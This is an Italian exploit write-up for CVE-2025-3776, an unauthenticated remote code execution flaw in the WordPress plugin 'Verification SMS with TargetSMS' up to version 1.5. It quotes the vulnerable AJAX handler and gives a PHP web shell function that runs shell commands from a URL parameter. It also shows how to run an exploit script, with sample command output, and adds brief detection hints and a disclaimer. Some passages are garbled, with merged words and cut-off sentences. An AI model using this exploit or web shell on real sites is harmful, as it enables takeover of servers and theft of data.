
Il plugin WordPress Verification SMS with TargetSMS <= 1.5 è vulnerabile a Remote Code Execution (RCE)
La vulnerabilità ha origine dall'uso di call_user_func() su input controllati dall'utente senza una sanitizzazione tramite una whitelist di funzioni consentite. Ciò crea una falla logica in cui qualsiasi funzione PHP esistente in memoria può essere eseguita senza autenticazione, portando a una grave condizione di Esecuzione Remota di Codice (RCE).
File: /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
Questo codice consente a utenti non autenticati di attivare qualsiasi funzione presente in memoria, incluse quelle dannose se l'attaccante riesce a caricarle.
Per sfruttare questa vulnerabilità con successo, una funzione richiamabile deve già esistere nell'ambiente WordPress. Poiché i plugin e i temi di WordPress possono caricare automaticamente le funzioni, l'attaccante può iniettare la propria funzione tramite il file functions.php del tema attivo.
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ Questo garantisce che la funzione
evil()venga caricata in memoria e diventi eseguibile tramitecall_user_func().
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
Se nessuna funzione evil() o simile è disponibile in memoria:
{"status":false}
functions.php del tema attivo (come dimostrato).evil().Una volta caricata una funzione dannosa, un attaccante non autenticato può:
Cercare richieste POST ripetute a:
/wp-admin/admin-ajax.php?action=targetvrHHndler
Con callback=evil o qualsiasi nome di funzione inatteso
Queste informazioni sono fornite esclusivamente a scopo educativo e di ricerca etica. L'autore non è responsabile per qualsiasi uso improprio o danno causato dall'uso di queste informazioni.
Exploit di: Nxploited (Khaled Alenazi)